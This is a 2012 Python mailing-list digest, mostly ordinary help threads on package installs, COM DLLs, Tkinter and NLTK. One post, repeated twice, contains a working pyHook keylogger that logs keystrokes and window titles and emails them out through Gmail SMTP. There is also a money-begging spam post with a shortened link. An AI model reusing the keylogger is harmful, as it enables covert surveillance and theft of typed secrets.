From subhabangalore at gmail.com Sat Dec 1 04:27:39 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sat, 1 Dec 2012 01:27:39 -0800 (PST) Subject: Textmining In-Reply-To: References: <4a65cf82-9368-4c29-95a0-bc552cd0effd@googlegroups.com> Message-ID: <06ff307d-093f-42e2-a4bb-1b2e34593c69@googlegroups.com> On Saturday, December 1, 2012 5:13:17 AM UTC+5:30, Dave Angel wrote: > On 11/30/2012 02:48 PM, subhabangalore at gmail.com wrote: > > > Dear Group, > > > Python has one textming library, but I am failing to install it in Windows. > > > If any one can kindly help. > > > Regards, > > > Subhabrata. > > > > Please think about what you're asking, if you want people to help you. > > You say Python has a testming library, But CPython's standard library > > version 3.3 does NOT have a library called testming. Neither does 2.7 > > in case you're running that one. Now, maybe some other version of > > Python has other stuff in its standard library, or maybe it's only > > available on the Amiga port of python. But you give no clues to which > > one it was. > > > > I repeated the search with a keyword of testmining, in case that's the > > actual name of the library. Still in neither 2.7 nor 3.3. > > > > So I'm forced to gaze even closer into my crystal ball. How about > > > > http://scripts.downloadroute.com/textmining-95300f9f.html > > http://www.testmine.com/ > > http://webscripts.softpedia.com/script/E-Commerce/Catalogs/textmining-66084.html > > http://www.christianpeccei.com/projects/textmining/ > > http://pybrary.net/pyPdf/ > > http://code.activestate.com/recipes/511465/ > > http://www.unixuser.org/~euske/python/pdfminer/index.html > > > > http://orange.biolab.si/ > > http://www.amazon.com/Python-Text-Processing-NLTK-Cookbook/dp/1849513600?tag=duckduckgo-d-20 > > http://linux.softpedia.com/get/Utilities/textmining-61802.shtml > > http://pypi.python.org/pypi/textmining > > http://orange-text.readthedocs.org/en/latest/ > > > > > > I could call a mechanic, and tell him my car makes a funny nose, and no > > matter how hard I kick the right front tire the noise doesn't go away, > > and he's unlikely to be able to help. He'd probably like some > > fundamental facts about the problem. So do we. > > > > What version of Windows OS are you running? > > What version of what implementation of Python are you running? > > What library, located at what URL did you try to install? > > How did you try the installation? What happened? How did you know you > > failed? > > > > In many of these answers, you should paste actual program output rather > > than paraphrasing. Certainly, if you got an exception, you should paste > > the entire stack trace. And if you got that far, a minimal code example > > that shows the problem. > > > > -- > > > > DaveA Dear Group, Python has one textmining library. [Sorry for the spelling mistake in earlier post]. As I see it can be downloaded from, http://pypi.python.org/pypi/textmining/1.0 I am running Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)] on win32 with IDLE as GUI and Windows 7 as OS. I am not getting how to download and use it. If any one of the learned members in the room can kindly help it. Regards, Subhabrata Banerjee. From subhabangalore at gmail.com Sat Dec 1 04:27:39 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sat, 1 Dec 2012 01:27:39 -0800 (PST) Subject: Textmining In-Reply-To: References: <4a65cf82-9368-4c29-95a0-bc552cd0effd@googlegroups.com> Message-ID: <06ff307d-093f-42e2-a4bb-1b2e34593c69@googlegroups.com> On Saturday, December 1, 2012 5:13:17 AM UTC+5:30, Dave Angel wrote: > On 11/30/2012 02:48 PM, subhabangalore at gmail.com wrote: > > > Dear Group, > > > Python has one textming library, but I am failing to install it in Windows. > > > If any one can kindly help. > > > Regards, > > > Subhabrata. > > > > Please think about what you're asking, if you want people to help you. > > You say Python has a testming library, But CPython's standard library > > version 3.3 does NOT have a library called testming. Neither does 2.7 > > in case you're running that one. Now, maybe some other version of > > Python has other stuff in its standard library, or maybe it's only > > available on the Amiga port of python. But you give no clues to which > > one it was. > > > > I repeated the search with a keyword of testmining, in case that's the > > actual name of the library. Still in neither 2.7 nor 3.3. > > > > So I'm forced to gaze even closer into my crystal ball. How about > > > > http://scripts.downloadroute.com/textmining-95300f9f.html > > http://www.testmine.com/ > > http://webscripts.softpedia.com/script/E-Commerce/Catalogs/textmining-66084.html > > http://www.christianpeccei.com/projects/textmining/ > > http://pybrary.net/pyPdf/ > > http://code.activestate.com/recipes/511465/ > > http://www.unixuser.org/~euske/python/pdfminer/index.html > > > > http://orange.biolab.si/ > > http://www.amazon.com/Python-Text-Processing-NLTK-Cookbook/dp/1849513600?tag=duckduckgo-d-20 > > http://linux.softpedia.com/get/Utilities/textmining-61802.shtml > > http://pypi.python.org/pypi/textmining > > http://orange-text.readthedocs.org/en/latest/ > > > > > > I could call a mechanic, and tell him my car makes a funny nose, and no > > matter how hard I kick the right front tire the noise doesn't go away, > > and he's unlikely to be able to help. He'd probably like some > > fundamental facts about the problem. So do we. > > > > What version of Windows OS are you running? > > What version of what implementation of Python are you running? > > What library, located at what URL did you try to install? > > How did you try the installation? What happened? How did you know you > > failed? > > > > In many of these answers, you should paste actual program output rather > > than paraphrasing. Certainly, if you got an exception, you should paste > > the entire stack trace. And if you got that far, a minimal code example > > that shows the problem. > > > > -- > > > > DaveA Dear Group, Python has one textmining library. [Sorry for the spelling mistake in earlier post]. As I see it can be downloaded from, http://pypi.python.org/pypi/textmining/1.0 I am running Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)] on win32 with IDLE as GUI and Windows 7 as OS. I am not getting how to download and use it. If any one of the learned members in the room can kindly help it. Regards, Subhabrata Banerjee. From square.steve at gmail.com Sat Dec 1 04:51:02 2012 From: square.steve at gmail.com (Steve Simmons) Date: Sat, 01 Dec 2012 09:51:02 +0000 Subject: Help accessing COM .dll from Python Message-ID: <50B9D306.5080508@gmail.com> An HTML attachment was scrubbed... URL: From gd.usenet at spamfence.net Sat Dec 1 05:42:37 2012 From: gd.usenet at spamfence.net (=?ISO-8859-1?Q?G=FCnther?= Dietrich) Date: Sat, 01 Dec 2012 11:42:37 +0100 Subject: Help accessing COM .dll from Python References: Message-ID: Steve Simmons wrote: > > > > > > > First time post - > be gentle with me :-)
>
>
I am trying to write a Python script to > access a scanning device.  I > have an SDK for the size="-1">scanner but the documentation is a size="-1">bit limited and the supplier doesn't support > Python (but Python is > the best option for me in the > current > circumstances).  > >
>
> The SDK revolves around a .dll file that size="-1">is described as a 'COM Object' > but the text also implies that it can be ac size="-1">cessed directly - "If you don’t use the COM > interface in your application and use the SDK files > directly like in VC++ then you don’t need to install > these files on the destination computer".  If I look > inside the .dll (thanks PE size="-1"> Explorer!), I see DllCanUnload, > DllGetClassObject, DllRegisterServer and > DllUnregisterServer in the 'Export' view.  If I > look at the 'Import' view, I can > see the names of a bunch of size="-1">.dll files and the > names of the functions/methods > I want to call.  So I concluded that  >
>
size="-1"> size="-1"> size="-1"> size="-1"> size="-1"> size="-1"> size="-1"> size="-1">DllGetClassObject > would be my > > friend. t> >
>
> However, I've read > various tutorials on using .dll and COM (ctypes, > comtypes, and the Python documentation) and I've > ended up more confused than when > I started.  I expected to be > using COM but all the examples seem to revolve > around automating excel or out size="-1">look.
>
> I'd be really grateful for > some hints on what direction I size="-1"> should be headed > and a pointer to a relevant > tutorial.
>

>
> Simmo
>
> > A newsreader is not an HTML reader (aka web browser). Please post your question in plain text. Best regards, G?nther From rosuav at gmail.com Sat Dec 1 05:50:29 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 1 Dec 2012 21:50:29 +1100 Subject: Help accessing COM .dll from Python In-Reply-To: <50B9D306.5080508@gmail.com> References: <50B9D306.5080508@gmail.com> Message-ID: Quoting his entire text for the benefit of Mr Dietrich, who is apparently having trouble reading it. (He's right though, plain text is a lot easier to work with.) On Sat, Dec 1, 2012 at 8:51 PM, Steve Simmons wrote: > First time post - be gentle with me :-) > > I am trying to write a Python script to access a scanning device. I have an > SDK for the scanner but the documentation is a bit limited and the supplier > doesn't support Python (but Python is the best option for me in the current > circumstances). > > The SDK revolves around a .dll file that is described as a 'COM Object' but > the text also implies that it can be accessed directly - "If you don?t use > the COM interface in your application and use the SDK files directly like in > VC++ then you don?t need to install these files on the destination > computer". If I look inside the .dll (thanks PE Explorer!), I see > DllCanUnload, DllGetClassObject, DllRegisterServer and DllUnregisterServer > in the 'Export' view. If I look at the 'Import' view, I can see the names > of a bunch of .dll files and the names of the functions/methods I want to > call. So I concluded that DllGetClassObject would be my friend. > > However, I've read various tutorials on using .dll and COM (ctypes, > comtypes, and the Python documentation) and I've ended up more confused than > when I started. I expected to be using COM but all the examples seem to > revolve around automating excel or outlook. > > I'd be really grateful for some hints on what direction I should be headed > and a pointer to a relevant tutorial. > > Simmo Yeah, ctypes isn't all that easy to work with I'm afraid. Ultimately, your problem is with your scanner's SDK; if it's poorly documented, it's not going to be any easier working from Python than it would be from C. I would advise following their non-COM instructions as closely as you can, and seeing where that leads you. If their docs are online, post us a link; it's possible someone here may be familiar with it, or at very least be able to help you with the translation to Python. Good luck! ChrisA From gechangbin8 at 163.com Sat Dec 1 05:54:34 2012 From: gechangbin8 at 163.com (gechangbin8 at 163.com) Date: Sat, 1 Dec 2012 02:54:34 -0800 (PST) Subject: help .No money and alone Message-ID: > I have come to the conclusion that there is no way i can pay for the medical bills >i have or the food i need. I broke my collar bone a few months ago and could not work. > My boss decided to fire me and i could not pay for my debt. >The banks have taken a number of belongings from me that i cherished. I am alone in a big city and need some help with getting some of this fire i call debt extinguished. I need about 500usd,please donate me about 5 or10 usd for more,please visite > http://bitly.com/U7BaYd Email: aijfu1962@ gmail.com > God Bless. From square.steve at gmail.com Sat Dec 1 07:47:57 2012 From: square.steve at gmail.com (Steve Simmons) Date: Sat, 01 Dec 2012 12:47:57 +0000 Subject: Help accessing COM .dll from Python Message-ID: <50B9FC7D.2010403@gmail.com> Gunther - Sorry about that, hoping this response comes through as plain text. Chris - Thanks for the translation and the response. Unfortunately, I don't speak 'C', and I think the learning curve for Python + COM should be slightly less steep. The scanner is supplied by Card Scanning Solutions (CSSN in USA) and their docs are accessible from http://www.cardscanning.com/developers.php. From albert at fsfe.org Sat Dec 1 08:01:49 2012 From: albert at fsfe.org (Albert Dengg) Date: Sat, 1 Dec 2012 14:01:49 +0100 Subject: Help accessing COM .dll from Python In-Reply-To: <50B9FC7D.2010403@gmail.com> References: <50B9FC7D.2010403@gmail.com> Message-ID: <20121201130149.GD8466@mjolnir.nicenamecrew.com> On Sat, Dec 01, 2012 at 12:47:57PM +0000, Steve Simmons wrote: > Gunther - Sorry about that, hoping this response comes through as > plain text. > > Chris - Thanks for the translation and the response. Unfortunately, > I don't speak 'C', and I think the learning curve for Python + COM > should be slightly less steep. i've had some some expirience using COM from python with pywin32, which works reasonably well if your interfaces is documented. as for examples beeing excel centric: it does not really matter, you just have to look the real interface you want to use in the documentation of your libary. there are however some pitfalls, espesially with arguments passed by reference: there not the parameter will be modified but you will have a tuple as a return value. albert -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: Digital signature URL: From doronmmm at gmail.com Sat Dec 1 08:38:39 2012 From: doronmmm at gmail.com (doronmmm at gmail.com) Date: Sat, 1 Dec 2012 05:38:39 -0800 (PST) Subject: pyHook and time libraries In-Reply-To: References: <9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com> Message-ID: ?????? ??? ????, 30 ??????? 2012 21:47:57 UTC+2, ??? Prasad, Ramit: > Doron wrote: > > > > > > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every > > > predetermined period. > > > > > > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work > > > simultaneously. > > > > > > Can someone help me with this please? > > > I thought about threading but again... It just sends blank mails without the logs. > > > > > > Thanks alot ahead! > > > > I am not sure how to even begin helping you. I do not even know > > what is wrong other than "can't make both of them work simultaneously". > > What version of Python and OS? Are you using any 3rd party modules? > > What is the code you use? What happens and what do you expect? How > > are you getting the logs for email? Are they being passed in or are > > you using a log file? > > > > > > ~Ramit > > > > > > > > This email is confidential and subject to important disclaimers and > > conditions including on offers for the purchase or sale of > > securities, accuracy and completeness of information, viruses, > > confidentiality, legal privilege, and legal entity disclaimers, > > available at http://www.jpmorgan.com/pages/disclosures/email. This is the code: ======================= import win32api import win32console import win32gui import pythoncom, pyHook import smtplib import time import thread, threading #win = win32console.GetConsoleWindow() #win32gui.ShowWindow(win,0) log = "" logpath = "log.txt" openfile = open(logpath,"w") openfile.write("") #openfile = open(logpath,"r+") l = threading.Lock() def sendEmail(): print("ready to send email") fromaddr = 'email at gmail.com' toaddrs = 'email at gmail.com' msg = open('log.txt',"r").read() username = 'something' password = 'something' server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, msg) server.quit() print("mail sent") def sendEmailAuto(dt,openfile): tt = time.time() nn = tt+dt while tt=nn-0.5: #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python msg = open('log.txt',"r").read() print(msg) sendEmail() tt = time.time() nn = tt+dt log = "" #l.release() else: tt = time.time() def OnKeyboardEvent(event): try: global log if event.Alt == 32 and event.KeyID == 160: log = "[LangCh]" elif event.KeyID>=37 and event.KeyID<=40: log = "["+event.Key+"]" elif event.Ascii == 8: log = "[BS]" elif event.Ascii == 9: log = "[TAB]" elif event.Ascii == 13: log = "[NL]" elif event.Ascii == 27: log = "[ESC]" elif event.Alt == 32 and event.KeyID == 75: openfile.close() sendEmail() exit() else: log = chr(event.Ascii) openfile.write(log) except: pass return True def OnMouseEvent(event): global log if event.MessageName == "mouse left down": log = "<"+event.WindowName +">\n" openfile.write(log) if event.MessageName == "mouse left up" and event.WindowName == None : log = "-\n" openfile.write(log) return True thread.start_new_thread(sendEmailAuto, (10,openfile)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm2 = pyHook.HookManager() hm2.MouseAll = OnMouseEvent hm.HookKeyboard() hm2.HookMouse() pythoncom.PumpMessages() ======================================== i want that an email will be sent to the address every 5 minutes for example. i'm working on Windows7 and the latest python version. From doronmmm at gmail.com Sat Dec 1 08:38:39 2012 From: doronmmm at gmail.com (doronmmm at gmail.com) Date: Sat, 1 Dec 2012 05:38:39 -0800 (PST) Subject: pyHook and time libraries In-Reply-To: References: <9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com> Message-ID: ?????? ??? ????, 30 ??????? 2012 21:47:57 UTC+2, ??? Prasad, Ramit: > Doron wrote: > > > > > > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every > > > predetermined period. > > > > > > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work > > > simultaneously. > > > > > > Can someone help me with this please? > > > I thought about threading but again... It just sends blank mails without the logs. > > > > > > Thanks alot ahead! > > > > I am not sure how to even begin helping you. I do not even know > > what is wrong other than "can't make both of them work simultaneously". > > What version of Python and OS? Are you using any 3rd party modules? > > What is the code you use? What happens and what do you expect? How > > are you getting the logs for email? Are they being passed in or are > > you using a log file? > > > > > > ~Ramit > > > > > > > > This email is confidential and subject to important disclaimers and > > conditions including on offers for the purchase or sale of > > securities, accuracy and completeness of information, viruses, > > confidentiality, legal privilege, and legal entity disclaimers, > > available at http://www.jpmorgan.com/pages/disclosures/email. This is the code: ======================= import win32api import win32console import win32gui import pythoncom, pyHook import smtplib import time import thread, threading #win = win32console.GetConsoleWindow() #win32gui.ShowWindow(win,0) log = "" logpath = "log.txt" openfile = open(logpath,"w") openfile.write("") #openfile = open(logpath,"r+") l = threading.Lock() def sendEmail(): print("ready to send email") fromaddr = 'email at gmail.com' toaddrs = 'email at gmail.com' msg = open('log.txt',"r").read() username = 'something' password = 'something' server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, msg) server.quit() print("mail sent") def sendEmailAuto(dt,openfile): tt = time.time() nn = tt+dt while tt=nn-0.5: #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python msg = open('log.txt',"r").read() print(msg) sendEmail() tt = time.time() nn = tt+dt log = "" #l.release() else: tt = time.time() def OnKeyboardEvent(event): try: global log if event.Alt == 32 and event.KeyID == 160: log = "[LangCh]" elif event.KeyID>=37 and event.KeyID<=40: log = "["+event.Key+"]" elif event.Ascii == 8: log = "[BS]" elif event.Ascii == 9: log = "[TAB]" elif event.Ascii == 13: log = "[NL]" elif event.Ascii == 27: log = "[ESC]" elif event.Alt == 32 and event.KeyID == 75: openfile.close() sendEmail() exit() else: log = chr(event.Ascii) openfile.write(log) except: pass return True def OnMouseEvent(event): global log if event.MessageName == "mouse left down": log = "<"+event.WindowName +">\n" openfile.write(log) if event.MessageName == "mouse left up" and event.WindowName == None : log = "-\n" openfile.write(log) return True thread.start_new_thread(sendEmailAuto, (10,openfile)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm2 = pyHook.HookManager() hm2.MouseAll = OnMouseEvent hm.HookKeyboard() hm2.HookMouse() pythoncom.PumpMessages() ======================================== i want that an email will be sent to the address every 5 minutes for example. i'm working on Windows7 and the latest python version. From breamoreboy at yahoo.co.uk Sat Dec 1 09:07:29 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Sat, 01 Dec 2012 14:07:29 +0000 Subject: Textmining In-Reply-To: <06ff307d-093f-42e2-a4bb-1b2e34593c69@googlegroups.com> References: <4a65cf82-9368-4c29-95a0-bc552cd0effd@googlegroups.com> <06ff307d-093f-42e2-a4bb-1b2e34593c69@googlegroups.com> Message-ID: On 01/12/2012 09:27, subhabangalore at gmail.com wrote: > Dear Group, > > Python has one textmining library. > [Sorry for the spelling mistake in earlier post]. > > As I see it can be downloaded from, > > http://pypi.python.org/pypi/textmining/1.0 > > I am running Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)] on win32 with IDLE as GUI and Windows 7 as OS. > Thanks for the above. > I am not getting how to download and use it. Use easy_install or pip from the command line. Any search engine will find you the instructions on how to install them. Here's a starting point http://packages.python.org/an_example_pypi_project/setuptools.html > > If any one of the learned members in the room can kindly help it. Learned members in this group? :) > > Regards, > Subhabrata Banerjee. > -- Cheers. Mark Lawrence. From steve+comp.lang.python at pearwood.info Sat Dec 1 12:05:12 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 01 Dec 2012 17:05:12 GMT Subject: Any Python trainers/tutors in Toronto? Message-ID: <50ba38c8$0$29994$c3e8da3$5496439d@news.astraweb.com> Are there any Python programmers in the Toronto area interested in some informal, very short-term, paid Python tutoring? Please contact me off-list for details if you are interested. -- Steven From piet at vanoostrum.org Sat Dec 1 15:12:45 2012 From: piet at vanoostrum.org (Piet van Oostrum) Date: Sat, 01 Dec 2012 16:12:45 -0400 Subject: ANN: eGenix mx Base Distribution 3.2.5 (mxDateTime, mxTextTools, etc.) In-Reply-To: (M.'s message of "Wed, 28 Nov 2012 11:34:23 +0100") References: Message-ID: "M.-A. Lemburg" writes: > ________________________________________________________________________ > > ANNOUNCING > > eGenix.com mx Base Distribution > > Version 3.2.5 for Python 2.4 - 2.7 > > Open Source Python extensions providing > important and useful services > for Python programmers. > > This announcement is also available on our web-site for online reading: > http://www.egenix.com/company/news/eGenix-mx-Base-Distribution-3.2.5-GA.html It says 3.2.4. -- Piet van Oostrum WWW: http://pietvanoostrum.com/ PGP key: [8DAE142BE17999C4] From paul at subsignal.org Sat Dec 1 19:45:20 2012 From: paul at subsignal.org (=?UTF-8?B?UGF1bCBLw7ZsbGU=?=) Date: Sun, 02 Dec 2012 01:45:20 +0100 Subject: Help accessing COM .dll from Python In-Reply-To: <50B9D306.5080508@gmail.com> References: <50B9D306.5080508@gmail.com> Message-ID: Hi, Am 01.12.2012 10:51, schrieb Steve Simmons: > First time post - be gentle with me :-) > > I am trying to write a Python script to access a scanning device. I have an SDK > for the scanner but the documentation is a bit limited and the supplier doesn't > support Python (but Python is the best option for me in the current circumstances). From a quick view it seems the documentation is excellent. There are tons of examples (even Java so you could use jython), API documents and the SDK. The "VC SDK.pdf" from the API documents zip explains what functions are there and how to call them. I have no idea why you used PEExplorer, are you using a device not covered by Slib.dll? Anyway, I suggest you forget about COM and try to load Slib.dll via ctypes http://docs.python.org/2/library/ctypes.html and call some functions documented in "VC SDK.pdf" and see what happens. The defines for return codes used in the documentation are here http://www.id-reader.com/Support/Sample_Codes/Visual_C_Plus_Plus/header_lib.rar in SlibErrDef.h and probably others... cheers Paul > > The SDK revolves around a .dll file that is described as a 'COM Object' but the > text also implies that it can be accessed directly - "If you don?t use the COM > interface in your application and use the SDK files directly like in VC++ then > you don?t need to install these files on the destination computer". If I look > inside the .dll (thanks PEExplorer!), I see DllCanUnload, DllGetClassObject, > DllRegisterServer and DllUnregisterServer in the 'Export' view. If I look at > the 'Import' view, I can see the names of a bunch of .dll files and the names of > the functions/methods I want to call. So I concluded that DllGetClassObject > would be my friend. > > However, I've read various tutorials on using .dll and COM (ctypes, comtypes, > and the Python documentation) and I've ended up more confused than when I > started. I expected to be using COM but all the examples seem to revolve around > automating excel or outlook. > > I'd be really grateful for some hints on what direction Ishould be headed and a > pointer to a relevant tutorial. > > Simmo > > > From baruchli at gmail.com Sun Dec 2 01:05:57 2012 From: baruchli at gmail.com (Baruch Lifshitz) Date: Sat, 1 Dec 2012 22:05:57 -0800 (PST) Subject: Tcl/tk version in Python installation Message-ID: I need help of those who familiar with Python-Tcl/tk bundle. I cannot start IDLE IDE for Python 3.2.3 or 3.3.0 installation. Command python -m idlelib.idle gives next output: C:\Python33>python -m idlelib.idle Traceback (most recent call last): File "C:\Python33\lib\runpy.py", line 160, in _run_module_as_main "__main__", fname, loader, pkg_name) File "C:\Python33\lib\runpy.py", line 73, in _run_code exec(code, run_globals) File "C:\Python33\lib\idlelib\idle.py", line 11, in idlelib.PyShell.main() File "C:\Python33\lib\idlelib\PyShell.py", line 1421, in main root = Tk(className="Idle") File "C:\Python33\lib\tkinter\__init__.py", line 1756, in __init__ self.tk = _tkinter.create(screenName, baseName, className, interactive, want objects, useTk, sync, use) _tkinter.TclError: Can't find a usable init.tcl in the following directories: {C:\Program Files\CSR\BlueSuite 2.4} C:/Python33/lib/tcl8.5 C:/lib/tcl8.5 C: /lib/tcl8.5 C:/library C:/library C:/tcl8.5.11/library C:/tcl8.5.11/library Actually init.tcl is located both in C:\Python33\tcl\tcl8.5 and C:\Python33\tcl\tix8.4.3 but something preventing tkinter from starting. During previous attempts to start idlelib.idle module form command line I got message "Tcl": have 8.5.11, need exactly 8.4 So this is a stage I can't pass. What in the system may force me to use Tcl 8.4 and prevent form using 8.5.11 installed with Python 3.3.0? Thank you in advance. From baruchli at gmail.com Sun Dec 2 01:35:32 2012 From: baruchli at gmail.com (Baruch Lifshitz) Date: Sat, 1 Dec 2012 22:35:32 -0800 (PST) Subject: Tcl/tk version in Python installation In-Reply-To: References: Message-ID: <386bfc58-b608-414f-8f37-14d4cd818ab5@googlegroups.com> Solved. I had to remove environment variable TCL_LIBRARY, which pointed to some non-existent installation. From subhabangalore at gmail.com Sun Dec 2 07:09:32 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sun, 2 Dec 2012 04:09:32 -0800 (PST) Subject: Splitting Tree Message-ID: <9e6b7b7e-f46e-4ec9-8158-711e76944949@googlegroups.com> Dear Group, I am using NLTK and I used the following command, chunk=nltk.ne_chunk(tag) print "The Chunk of the Line Is:",chunk The Chunk of the Line Is: (S ''/'' It/PRP is/VBZ virtually/RB a/DT homecoming/NN ,/, ''/'' said/VBD (PERSON Gen/NNP Singh/NNP) on/IN arrival/NN) Now I am trying to split the output preferably by ",/,". But how would I split a Tree object in python. If I use command like, chunk_word=chunk.split() It is giving me the error as, File "C:/Python27/docstructure1.py", line 38, in document_structure1 chunk1=chunk.split() AttributeError: 'Tree' object has no attribute 'split' If anyone of the learned members of the room can kindly help. Regards, Subhabrata. From luis at luispedro.org Sun Dec 2 08:16:47 2012 From: luis at luispedro.org (Luis Pedro Coelho) Date: Sun, 02 Dec 2012 13:16:47 +0000 Subject: Imaging libraries in active development? Message-ID: <50BB54BF.5080702@luispedro.org> Alasdair McAndrew on Thu, 29 Nov 2012 wrote: > Probably the combinations of OpenCV, Scipy.ndimage and scikits-image > would cover pretty much all of my needs. Hi, All of those (+ mahotas, which is the package I wrote & imread which might be useful for microscopy file formats) will work on numpy arrays (openCV requires a bit of conversion back and forth, but it will work). Therefore, it is not much of a bother to mix&match functions from one or the other library:: import mahotas as mah import imread import skimage import pylab image = imread.imread("my-fancy-image.jpeg") filtered = mah.gaussian_filter(image, 4.) segmented = skimage.segmentation.quickshift(filtered) pylab.imshow(segmented) ... I just mixed 4 different packages seamlessly in this example. This will work flawlessly. mahotas & skimage are both under very active development, but neither is unstable (i.e., we keep adding new features, but the existing code is very reliable). scipy.ndimage is sort of dead: I scavenged its code for good bits and pieces for mahotas, but nobody is developing ndimage. If you run into specific issues, the mailing list pythonvision at https://groups.google.com/forum/#!forum/pythonvision is a good forum. Plenty of people from different projects lurk there. HTH, Luis From atavory at gmail.com Sun Dec 2 09:34:09 2012 From: atavory at gmail.com (Ami Tavory) Date: Sun, 2 Dec 2012 16:34:09 +0200 Subject: setup.py Choosing Older Compiler On Windows Message-ID: Hello, I'm porting a C++ extension module to a Windows machine that has both VC8 and VC10 installed. Unfortunately, `setup.py build` tries to build using VC8, which fails (the extension uses C++ standard libraries that VC didn't used to have). Is there a way to get setup.py to use VC10 (preferably externally, without modifying the script)? Thanks, Ami -------------- next part -------------- An HTML attachment was scrubbed... URL: From msirenef at lightbird.net Sun Dec 2 09:54:34 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Sun, 02 Dec 2012 09:54:34 -0500 Subject: New tutorials Message-ID: <50BB6BAA.2060409@lightbird.net> Hi everyone, I'm making a series of python tutorials and I've just finished the introductory part: http://lightbird.net/larks/intro.html Feedback is appreciated.. - mitya From subhabangalore at gmail.com Sun Dec 2 10:02:25 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sun, 2 Dec 2012 07:02:25 -0800 (PST) Subject: Splitting Tree In-Reply-To: <9e6b7b7e-f46e-4ec9-8158-711e76944949@googlegroups.com> References: <9e6b7b7e-f46e-4ec9-8158-711e76944949@googlegroups.com> Message-ID: On Sunday, December 2, 2012 5:39:32 PM UTC+5:30, subhaba... at gmail.com wrote: > Dear Group, > > > > I am using NLTK and I used the following command, > > > > chunk=nltk.ne_chunk(tag) > > print "The Chunk of the Line Is:",chunk > > > > > > The Chunk of the Line Is: (S > > ''/'' > > It/PRP > > is/VBZ > > virtually/RB > > a/DT > > homecoming/NN > > ,/, > > ''/'' > > said/VBD > > (PERSON Gen/NNP Singh/NNP) > > on/IN > > arrival/NN) > > > > Now I am trying to split the output preferably by ",/,". > > > > But how would I split a Tree object in python. > > > > If I use command like, > > chunk_word=chunk.split() > > > > It is giving me the error as, > > > > File "C:/Python27/docstructure1.py", line 38, in document_structure1 > > chunk1=chunk.split() > > AttributeError: 'Tree' object has no attribute 'split' > > > > If anyone of the learned members of the room can kindly help. > > > > Regards, > > Subhabrata. Sorry to ask this. I converted in string and then splitted it. From subhabangalore at gmail.com Sun Dec 2 10:03:33 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sun, 2 Dec 2012 07:03:33 -0800 (PST) Subject: List problem Message-ID: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> Dear Group, I have a list of the following pattern, [("''", "''"), ('Eastern', 'NNP'), ('Army', 'NNP'), ('Commander', 'NNP'), ('Lt', 'NNP'), ('Gen', 'NNP'), ('Dalbir', 'NNP'), ('Singh', 'NNP'), ('Suhag', 'NNP'), ('briefed', 'VBD'), ('the', 'DT'), ('Army', 'NNP'), ('chief', 'NN'), ('on', 'IN'), ('the', 'DT'), ('operational', 'JJ'), ('preparedness', 'NN'), ('and', 'CC'), ('the', 'DT'), ('security', 'NN'), ('scenario', 'NN'), ('in', 'IN'), ('the', 'DT'), ('eastern', 'NN'), ('region', 'NN'), (',', ','), ("''", "''"), ('defence', 'NN'), ('spokesperson', 'NN'), ('Group', 'NNP'), ('Capt', 'NNP'), ('T', 'NNP'), ('K', 'NNP'), ('Singha', 'NNP'), ('said', 'VBD'), ('here', 'RB')] Now, as we see it has multiple VBD elements. I want to recognize,count and index them all. If any one can kindly suggest. Regards, Subhabrata From lutz.horn at fastmail.fm Sun Dec 2 10:16:01 2012 From: lutz.horn at fastmail.fm (Lutz Horn) Date: Sun, 2 Dec 2012 16:16:01 +0100 Subject: List problem In-Reply-To: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> Message-ID: <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> Him Am 02.12.2012 um 16:03 schrieb subhabangalore at gmail.com: > I have a list of the following pattern, > > [("''", "''"), ('Eastern', 'NNP'), ('Army', 'NNP'), ('Commander', 'NNP'), ('Lt', 'NNP'), ('Gen', 'NNP'), ('Dalbir', 'NNP'), ('Singh', 'NNP'), ('Suhag', 'NNP'), ('briefed', 'VBD'), ('the', 'DT'), ('Army', 'NNP'), ('chief', 'NN'), ('on', 'IN'), ('the', 'DT'), ('operational', 'JJ'), ('preparedness', 'NN'), ('and', 'CC'), ('the', 'DT'), ('security', 'NN'), ('scenario', 'NN'), ('in', 'IN'), ('the', 'DT'), ('eastern', 'NN'), ('region', 'NN'), (',', ','), ("''", "''"), ('defence', 'NN'), ('spokesperson', 'NN'), ('Group', 'NNP'), ('Capt', 'NNP'), ('T', 'NNP'), ('K', 'NNP'), ('Singha', 'NNP'), ('said', 'VBD'), ('here', 'RB')] > > Now, as we see it has multiple VBD elements. > I want to recognize,count and index them all. len([x for x in l if x[1] == 'VBD']) Lutz -- This email is signed with a CAcert certificate. https://www.cacert.org/ Please do not send me Microsoft Office/Apple iWork documents. Send OpenDocument instead! http://fsf.org/campaigns/opendocument/ https://duckduckgo.com/ | 